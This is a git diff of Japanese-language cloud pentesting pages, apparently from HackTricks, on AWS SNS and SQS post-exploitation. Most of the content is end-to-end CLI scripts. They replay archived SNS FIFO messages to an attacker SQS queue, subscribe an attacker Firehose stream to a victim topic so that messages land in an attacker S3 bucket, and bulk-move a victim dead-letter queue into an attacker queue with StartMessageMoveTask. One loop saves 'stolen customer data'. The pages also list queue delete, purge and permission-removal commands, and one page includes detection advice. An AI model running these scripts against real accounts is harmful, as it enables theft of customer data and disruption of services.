+Amazon SNS FIFO topic のメッセージアーカイブを悪用し、subscription の ReplayPolicy を設定することで、以前に公開されたメッセージを attacker 制御の SQS FIFO キューへ replay して exfiltrate する手法。
+
+- サービス: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- 要件: Topic は ArchivePolicy 有効（メッセージアーカイブ）。Attacker は topic に Subscribe でき、作成した subscription の属性を設定できる。Attacker は SQS FIFO キューを制御し、topic がメッセージを送信できるようにする。
+- 影響: 過去のメッセージ（subscription 作成前に公開されたもの）が attacker エンドポイントに配信されうる。replayed 配信は SNS envelope 内で Replayed=true としてフラグされる。
+
+## 前提条件
+- SNS FIFO topic でアーカイブが有効: `ArchivePolicy`（例: `{ "MessageRetentionPeriod": "2" }` は 2 日間）。
+- Attacker は以下の権限を持っていること:
+  - `sns:Subscribe` が対象の topic に対して。
+  - 作成した subscription に対して `sns:SetSubscriptionAttributes`。
+- Attacker は SQS FIFO キューを持ち、topic ARN からの `sns:SendMessage` を許可するキューポリシーをアタッチできること。
+
+## 最小 IAM 権限
+- topic に対して: `sns:Subscribe`。
+- subscription に対して: `sns:SetSubscriptionAttributes`。
+- queue に対して: ポリシー設定用の `sqs:SetQueueAttributes` と、topic ARN からの `sns:SendMessage` を許可するキューポリシー。
+
+## Attack: Replay archived messages to attacker SQS FIFO
+Attacker は自身の SQS FIFO キューを被害者の SNS FIFO topic に subscribe し、`ReplayPolicy` を過去（archive 保持期間内）のタイムスタンプに設定する。SNS は一致するアーカイブ済みメッセージを新規 subscription に対して即座に replay し、`Replayed=true` でマークする。
+
+Notes:
+- `ReplayPolicy` に指定するタイムスタンプは topic の `BeginningArchiveTime` 以上でなければならない。これより過去を指定すると API は `Invalid StartingPoint value` を返す。
+- SNS FIFO の `Publish` では `MessageGroupId` を指定する必要がある（および dedup ID を指定するか `ContentBasedDeduplication` を有効にする）。
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## 影響
+**潜在的影響**: アーカイブが有効になっている SNS FIFO topic にサブスクライブでき、サブスクリプションで `ReplayPolicy` を設定できる攻撃者は、サブスクリプション作成後に送信されたメッセージだけでなく、そのトピックに公開された過去のメッセージを即座に再生して外部に持ち出すことができます。配信されたメッセージには SNS のエンベロープに `Replayed=true` フラグが含まれます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
new file mode 100644
index 000000000..fd67b65a1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+攻撃者が制御する Kinesis Data Firehose delivery stream を被害者の SNS standard topic に登録するために、Firehose サブスクリプションプロトコルを悪用します。サブスクリプションが設定され、必要な IAM ロールが `sns.amazonaws.com` を信頼するようになると、その後の通知はすべて最小限のノイズで攻撃者の S3 バケットに確実に書き込まれます。
+
+## Requirements
+- 攻撃者アカウントに S3 バケット、Firehose delivery stream、および Firehose が使用する IAM ロール を作成するための権限（`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy` など）。
+- 被害者の topic に対して `sns:Subscribe` できる能力（作成後にサブスクリプションロール ARN が提供される場合はオプションで `sns:SetSubscriptionAttributes`）。
+- 攻撃者プリンシパルのサブスクライブを許可するトピックポリシー（または攻撃者が既に同一アカウント内で操作している場合）。
+
+## Attack Steps (same-account example)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## クリーンアップ
+- SNS subscription、Firehose delivery stream、一時的な IAM roles/policies、および attacker S3 bucket を削除する。
+
+## 影響
+**潜在的な影響**: 最小限の運用フットプリントで、ターゲットとなる SNS topic に公開されたすべてのメッセージが継続的かつ永続的に attacker-controlled storage へ exfiltration される可能性がある。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..cbf28c0b7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Description
+
+SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積されたすべてのメッセージを `sqs:StartMessageMoveTask` を使って攻撃者が管理するキューにリダイレクトし、窃取します。この手法は AWS の正当な message recovery 機能を悪用し、DLQ に長期間蓄積された機密データを流出させるものです。
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue は、メインのアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
+- 処理できなかった機密なアプリケーションデータ
+- エラーの詳細やデバッグ情報
+- Personal Identifiable Information (PII)
+- API tokens、認証情報、その他のシークレット
+- 事業上重要なトランザクションデータ
+
+DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値の高いターゲットとなります。
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** が SQS を介して顧客注文を処理する
+2. **Some orders fail**（支払いの問題、在庫の問題など）で DLQ に移される
+3. **DLQ accumulates** 何週間・何ヶ月分もの失敗した注文が顧客データとともに蓄積される: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
+4. **Attacker gains access** 攻撃者が SQS 権限を持つ AWS 資格情報を入手する
+5. **Attacker discovers** DLQ に何千件もの機密データを含む失敗注文があることを発見する
+6. **Instead of trying to access individual messages**（個別メッセージにアクセスするのは遅く目立つため）、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューに一括転送する
+7. **Attacker extracts** 一度の操作で過去のすべての機密データを抽出する
+
+## Requirements
+- ソースキューは DLQ として設定されている必要があります（少なくとも1つのキューの RedrivePolicy に参照されていること）。
+- IAM 権限（侵害された被害者プリンシパルとして実行）:
+- ソース（DLQ）に対して: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`。
+- 宛先キュー: メッセージ配信の権限（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウント内の宛先では通常デフォルトで許可されていることが多い。
+- SSE-KMS が有効な場合: ソース CMK に対して `kms:Decrypt`、宛先 CMK に対して `kms:GenerateDataKey`, `kms:Encrypt`。
+
+## Impact
+ネイティブな SQS API を使用して、DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロード）を高速に流出させます。宛先キューのポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
+
+## How to Abuse
+
+- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
+- 攻撃者が管理する宛先キューを作成または選択し、その ARN を取得する。
+- 被害者 DLQ から自分の宛先キューへ message move task を開始する。
+- 進行状況を監視するか、必要に応じてキャンセルする。
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: 攻撃者が AWS 資格情報を侵害し、ある e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **攻撃者が制御する宛先キューを作成する**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **一括メッセージの窃取を実行する**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **盗まれた機密データを収集する**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### クロスアカウントの注意点
+- 宛先キューには、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシーが必要です（および、使用する場合は KMS のグラント/権限）。
+
+## なぜこの攻撃が効果的か
+
+1. **Legitimate AWS Feature**: 組み込みの AWS 機能を使用するため、悪意ある動作として検知されにくい
+2. **Bulk Operation**: 個別に遅くアクセスする代わりに、数千件のメッセージを素早く転送できる
+3. **Historical Data**: DLQs は数週間〜数か月にわたり機密データを蓄積する
+4. **Under the Radar**: 多くの組織は DLQ へのアクセスを綿密に監視していない
+5. **Cross-Account Capable**: 権限があれば攻撃者自身の AWS アカウントへ exfiltrate できる
+
+## 検出と防止
+
+### 検出
+疑わしい `StartMessageMoveTask` API 呼び出しを CloudTrail で監視する：
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### 対策
+1. **最小権限**: 必要なロールにのみ `sqs:StartMessageMoveTask` 権限を制限する
+2. **DLQsの監視**: 異常なDLQアクティビティに対して CloudWatch アラームを設定する
+3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューポリシーを注意深くレビューする
+4. **DLQsの暗号化**: 制限されたキー ポリシーを持つ SSE-KMS を使用する
+5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積されないようにする
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
deleted file mode 100644
index d49199b6d..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - SQS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-攻撃者はSQSキュー内のメッセージを受信、削除、または可視性を変更することができ、メッセージの損失、データの破損、またはそれらのメッセージに依存するアプリケーションのサービス中断を引き起こす可能性があります。
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。
-
-### `sqs:DeleteQueue`
-
-攻撃者は、SQSキュー全体を削除することができ、メッセージの損失を引き起こし、キューに依存するアプリケーションに影響を与える可能性があります。
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**潜在的な影響**: 削除されたキューを使用しているアプリケーションに対するメッセージの損失とサービスの中断。
-
-### `sqs:PurgeQueue`
-
-攻撃者はSQSキューからすべてのメッセージを消去することができ、メッセージの損失とそれらのメッセージに依存するアプリケーションの潜在的な中断を引き起こす可能性があります。
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**潜在的な影響**: 消去されたメッセージに依存するアプリケーションのメッセージ損失とサービス中断。
-
-### `sqs:SetQueueAttributes`
-
-攻撃者はSQSキューの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-攻撃者はSQSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
-
-### `sqs:RemovePermission`
-
-攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**潜在的な影響**: 権限の不正な削除により、キューに依存するアプリケーションの正常な機能が妨げられる。 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
new file mode 100644
index 000000000..bf6826f67
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+攻撃者は悪意のある、または不要なメッセージを SQS キューに送信し、データ破損を引き起こしたり、意図しない動作を誘発したり、リソースを枯渇させる可能性があります。
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**潜在的影響**: 脆弱性の悪用、データ破損、意図しない操作、またはリソースの枯渇。
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+attacker は SQS キュー内のメッセージを受信、削除、または可視性を変更でき、これによりそれらのメッセージに依存するアプリケーションでメッセージの消失、データ破損、またはサービスの中断が発生する可能性があります。
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**潜在的影響**: 機密情報の窃取、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス障害。
+
+### `sqs:DeleteQueue`
+
+攻撃者はSQSキュー全体を削除でき、メッセージの損失を引き起こし、キューに依存するアプリケーションに影響を及ぼす可能性があります。
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**潜在的影響**: 削除されたキューを使用するアプリケーションに対するメッセージの損失およびサービスの中断。
+
+### `sqs:PurgeQueue`
+
+攻撃者はSQSキューのすべてのメッセージを削除し、メッセージの損失やそれらのメッセージに依存するアプリケーションの中断を引き起こす可能性があります。
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**潜在的影響**: パージされたメッセージに依存するアプリケーションでメッセージの損失やサービスの中断が発生する可能性があります。
+
+### `sqs:SetQueueAttributes`
+
+攻撃者は SQS キューの属性を変更でき、それによってパフォーマンス、セキュリティ、可用性に影響を与える可能性があります。
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**潜在的影響**: 誤設定によりパフォーマンス低下、セキュリティ問題、または可用性の低下を招く可能性があります。
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+攻撃者はSQSリソースのタグを追加、変更、または削除でき、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potential Impact**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
+
+### `sqs:RemovePermission`
+
+攻撃者は、SQS キューに関連付けられたポリシーを削除することで正当なユーザーやサービスの権限を取り消す可能性があります。これにより、そのキューに依存するアプリケーションの正常な動作が妨げられる可能性があります。
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**潜在的な影響**: アクセス許可の不正な削除により、キューに依存するアプリケーションの通常の動作が妨げられる可能性がある。
+
+### さらに SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..69c74536c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 説明
+
+SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積された全メッセージを `sqs:StartMessageMoveTask` を使って攻撃者管理のキューへリダイレクトし盗み出す手法です。この手法は AWS の正当なメッセージ回復機能を利用して、DLQ に時間とともに蓄積された機密データを exfiltrate します。
+
+## Dead-Letter Queue (DLQ) とは？
+
+Dead-Letter Queue は、メインアプリケーションがメッセージを正常に処理できなかった際に自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
+- 処理できなかった機密なアプリケーションデータ
+- エラーの詳細やデバッグ情報
+- Personal Identifiable Information (PII)
+- API トークン、認証情報、その他のシークレット
+- 業務上重要なトランザクションデータ
+
+DLQ は失敗したメッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値のあるターゲットになります。
+
+## 攻撃シナリオ
+
+**実世界の例：**
+1. **E-commerce アプリケーション** が SQS を介して顧客注文を処理している
+2. **一部の注文が失敗する**（支払い問題、在庫問題など）ため DLQ に移動される
+3. **DLQ に数週間〜数か月分の失敗した注文が蓄積される** — 例: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **攻撃者が AWS 資格情報を奪取**し、SQS の権限を得る
+5. **攻撃者が DLQ に数千件の機密データがあることを発見**する
+6. **個々のメッセージにアクセスしようとする代わりに**（遅く目立つため）、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューへ一括転送する
+7. **攻撃者は一度に** すべての過去の機密データを抽出する
+
+## 要件
+- ソースキューは DLQ として構成されている（少なくとも1つのキューの RedrivePolicy から参照されていること）。
+- IAM 権限（侵害された被害者プリンシパルで実行）:
+- ソース（DLQ）上: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`
+- 送信先キュー上: メッセージ配信の許可（例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー）。同一アカウント内の送信先では通常デフォルトで許可されていることが多い。
+- SSE-KMS が有効な場合: ソース CMK に対する `kms:Decrypt`、送信先 CMK に対する `kms:GenerateDataKey`, `kms:Encrypt`
+
+## 影響
+**潜在的影響**: ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード（失敗イベント、PII、トークン、アプリケーションペイロードなど）を高速に exfiltrate できる。送信先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも動作する。
+
+## 悪用手順
+
+- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する（どのキューでも可）。
+- 攻撃者が管理する送信先キューを作成または選択し、その ARN を取得する。
+- 被害者 DLQ から送信先キューへの message move task を開始する。
+- 進捗を監視するか、必要に応じてキャンセルする。
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: 攻撃者が AWS 資格情報を奪取し、e-commerce アプリケーションが SQS を使用しており、失敗した顧客注文処理が含まれる DLQ を持っていることを発見したケース。
+
+1) **被害者の DLQ を発見して調査する**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **攻撃者が制御する宛先キューを作成する**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
